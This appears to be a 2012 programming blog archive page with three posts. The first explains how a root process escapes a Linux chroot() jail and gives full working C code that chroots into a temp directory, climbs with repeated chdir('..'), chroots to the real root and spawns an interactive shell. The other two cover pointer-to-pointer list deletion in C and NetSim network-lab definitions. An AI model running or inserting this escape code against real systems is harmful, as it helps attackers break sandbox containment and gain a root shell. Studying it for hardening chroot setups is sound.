PoiNtEr->: October 2012

                             Difference between a dream and an aim. A dream requires soundless sleep, whereas an aim requires sleepless efforts.

Search This Blog

Friday, October 19, 2012

How to break out of a jail in Linux

Whilst chroot() is reasonably secure, a program can escape from its trap. So long as a program is run with root (ie UID 0) privilages it can be used to break out of a chroot()ed area. For a user to do this, they would need access to:

  • C compiler or a Perl interpreter

  • Security holes to gain root access
It should be noted that this document was written with protecting web servers from rogue CGI scripts in mind. Therefore it is not unreasonable to assume that a user has access to a Perl interpreter. It is then a matter for the user to gain root access via security holes on the box running the web server. Whilst this is outside the topic of the document, an attacker could make use of application programs which are setuid-root and have security holes within them. In a well maintained chroot() area such programs should not exist. However, it should be noted that maintaining achroot()ed environment is a non-trival task, for example system patches which fix such security holes will not know about the copies of the programs within the chroot()ed area. Ensuring that there are no setuid-root executables within the padded cell is going to be a must.
To break out of a chroot()ed area, a program should do the following:

  1. Create a temporary directory in its current working directory
  2.  Open the current working directory. Only required if chroot() changes the calling program's working directory.
  3.  Change the root directory of the process to the temporary directory using chroot().
  4.  Use fchdir() with the file descriptor of the opened directory to move the current working directory outside the chroot()ed area. Only required if chroot() changes the calling program's working directory.
  5.  Perform chdir("..") calls many times to move the current working directory into the real root directory.
  6.  Change the root directory of the process to the current working directory, the real root directory, using chroot(".")

Sample Code In c :

Breaking chroot()
001  #include <stdio.h>  
002  #include <errno.h>  
003  #include <fcntl.h>  
004  #include <string.h>  
005  #include <unistd.h>  
006  #include <sys/stat.h>  
007  #include <sys/types.h>  
009  /*  
010  ** You should set NEED_FCHDIR to 1 if the chroot() on your  
011  ** system changes the working directory of the calling  
012  ** process to the same directory as the process was chroot()ed  
013  ** to.  
014  **  
015  ** It is known that you do not need to set this value if you  
016  ** running on Solaris 2.7 and below.  
017  **  
018  */  
019  #define NEED_FCHDIR 0  
021  #define TEMP_DIR "waterbuffalo"  
023  /* Break out of a chroot() environment in C */
025  int main() {  
026    int x;            /* Used to move up a directory tree */  
027    int done=0;       /* Are we done yet ? */  
028  #ifdef NEED_FCHDIR  
029    int dir_fd;       /* File descriptor to directory */  
030  #endif  
031    struct stat sbuf; /* The stat() buffer */  
033  /*  
034  ** First we create the temporary directory if it doesn't exist  
035  */  
036    if (stat(TEMP_DIR,&sbuf)<0) {  
037      if (errno==ENOENT) {  
038        if (mkdir(TEMP_DIR,0755)<0) {  
039          fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  
040                  strerror(errno));  
041          exit(1);  
042        }  
043      } else {  
044        fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  
045                strerror(errno));  
046        exit(1);  
047      }  
048    } else if (!S_ISDIR(sbuf.st_mode)) {  
049      fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  
050      exit(1);  
051    }  
053  #ifdef NEED_FCHDIR  
054  /*  
055  ** Now we open the current working directory  
056  **  
057  ** Note: Only required if chroot() changes the calling program's  
058  **       working directory to the directory given to chroot().  
059  **  
060  */  
061    if ((dir_fd=open(".",O_RDONLY))<0) {  
062      fprintf(stderr,"Failed to open "." for reading - %s\n",  
063              strerror(errno));  
064      exit(1);  
065    }  
066  #endif  
068  /*  
069  ** Next we chroot() to the temporary directory  
070  */  
071    if (chroot(TEMP_DIR)<0) {  
072      fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
073              strerror(errno));  
074      exit(1);  
075    }  
077  #ifdef NEED_FCHDIR  
078  /*  
079  ** Partially break out of the chroot by doing an fchdir()  
080  **  
081  ** This only partially breaks out of the chroot() since whilst  
082  ** our current working directory is outside of the chroot() jail,  
083  ** our root directory is still within it. Thus anything which refers  
084  ** to "/" will refer to files under the chroot() point.  
085  **  
086  ** Note: Only required if chroot() changes the calling program's  
087  **       working directory to the directory given to chroot().  
088  **  
089  */  
090    if (fchdir(dir_fd)<0) {  
091      fprintf(stderr,"Failed to fchdir - %s\n",  
092              strerror(errno));  
093      exit(1);  
094    }  
095    close(dir_fd);  
096  #endif  
098  /*  
099  ** Completely break out of the chroot by recursing up the directory  
100  ** tree and doing a chroot to the current working directory (which will  
101  ** be the real "/" at that point). We just do a chdir("..") lots of  
102  ** times (1024 times for luck :). If we hit the real root directory before  
103  ** we have finished the loop below it doesn't matter as .. in the root  
104  ** directory is the same as . in the root.  
105  **  
106  ** We do the final break out by doing a chroot(".") which sets the root  
107  ** directory to the current working directory - at this point the real  
108  ** root directory.  
109  */  
110    for(x=0;x<1024;x++) {  
111      chdir("..");  
112    }  
113    chroot(".");  
115  /*  
116  ** We're finally out - so exec a shell in interactive mode  
117  */  
118    if (execl("/bin/sh","-i",NULL)<0) {  
119      fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
120      exit(1);  
121    }  
122  } 


References:Click Here

Sunday, October 14, 2012

Using Pointers to Pointers In C

Lets try to understand the importance of pointers to pointers by the help of an example.Suppose we're trying to write some code to delete a given integer from a list. The straightforward solution looks like this:
 /* delete node containing i from list pointed to by lp */

 struct list *lp, *prevlp;
 for(lp = list; lp != NULL; lp = lp->next)
  if(lp->item == i)
   if(lp == list)
    list = lp->next;
   else prevlp->next = lp->next;
  prevlp = lp;
This code works, but it has two blemishes. One is that it has to use an extra variable to keep track of the node one behind the one it's looking at, and the other is that it has to use an extra test to special-case the situation in which the node being deleted is at the head of the list. Both of these problems arise because the deletion of a node from the list involves modifying the previous pointer to point to the next node (that is, the node before the deleted node to point to the one following). But, depending on whether the node being deleted is the first node in the list or not, the pointer that needs modifying is either the pointer that points to the head of the list, or the next pointer in the previous node.
To illustrate this, suppose that we have the list (1, 2, 3) and we're trying to delete the element 1. After we've found the element 1, lp points to its node, which just happens to be the same node that the main list pointer points to, as illustrated in (a) below: 

To remove element 1 from the list, then, we must adjust the main list pointer so that it points to 2's node, the new head of the list (as shown in (b)). If we were trying to delete node 2, on the other hand (as illustrated in (c) above), we'd have to adjust node 1's next pointer to point to 3. The prevlp pointer keeps track of the previous node we were looking at, since (at other than the first node in the list) that's the node whose next pointer will need adjusting. (Notice that if we were to delete node 3, we would copy its next pointer over to 2, but since 3's next pointer is the null pointer, copying it to node 2 would make node 2 the end of the list, as desired.)

We can write another version of the list-deletion code, which is (in some ways, at least) much cleaner, by using a pointer to a pointer to a struct list. This pointer will point at the pointer which points at the node we're looking at; it will either point at the head pointer or at the next pointer of the node we looked at last time. Since this pointer points at the pointer that points at the node we're looking at (got that?), it points at the pointer which we need to modify if the node we're looking at is the node we're deleting. Let's see how the code looks:
 struct list **lpp;
 for(lpp = &list; *lpp != NULL; lpp = &(*lpp)->next)
  if((*lpp)->item == i)
   *lpp = (*lpp)->next;
That single line
 *lpp = (*lpp)->next;
updates the correct pointer, to splice the node it refers to out of the list, regardless of whether the pointer being updated is the head pointer or one of the next pointers. (Of course, the payoff is not absolute, because the use of a pointer to a pointer to a struct list leads to an algorithm which might not be nearly as obvious at first glance.)
To illustrate the use of the pointer-to-pointer lpp graphically, here are two more figures illustrating the situation just before deleting node 1 (on the left) or node 2 (on the right). 

In both cases, lpp points at a struct node pointer which points at the node to be deleted. In both cases, the pointer pointed to by lpp (that is, the pointer *lpp) is the pointer that needs to be updated. In both cases, the new pointer (the pointer that *lpp is to be updated to) is the next pointer of the node being deleted, which is always (*lpp)->next.

One other aspect of the code deserves mention. The expression
describes the next pointer of the struct node which is pointed to by *lpp, that is, which is pointed to by the pointer which is pointed to by lpp. The expression
 lpp = &(*lpp)->next
sets lpp to point to the next field of the struct list pointed to by *lpp. In both cases, the parentheses around *lpp are needed because the precedence of * is lower than ->.

Tuesday, October 9, 2012

Advance Computer Network LAB -1

Aim:Create a Simple network model with multiple scenarios. Collect statistics on network performance through the use of NetSim. Analyze statistics and draw conclusion on network performance. 

Network model: A Network model  is a flexible way of representing   devices and  their relationships. Networking devices like hubs, switches, routers, nodes, connecting wires etc. are used to create a network model.

Network performance: 

•  Utilization and Delay:
Utilization is the fraction of the available bandwidth used for transmission of data  expressed as a percentage (%).  Delay is the amount of time taken for a packet to travel from one end of the network to the other.
Delay= queuing delay (ms) + transmission time (ms) + medium access time (ms).
Where queuing delay is the time the packet/frame waits in the queue prior to transmission, transmission time is the time taken by a packet/frame to travel across one hop, and medium access time is the time the data waits in the head of the queue to access the medium.

•  What are network statistics? 
Network statistics are network performance related metrics collected at the end of a simulation run. The report at the end of the completion of an simulation experiment include metrics like throughput, simulation time, frames generated, frames dropped, frames errored, collision counts etc, and their respective values.

 What is NetSim analytics used for? 
It is used to compare and analyze different LAN/WAN scenarios. Parameters like utilization, loss, queuing delay, transmission time etc of different sample experiments are compared with help of graphs.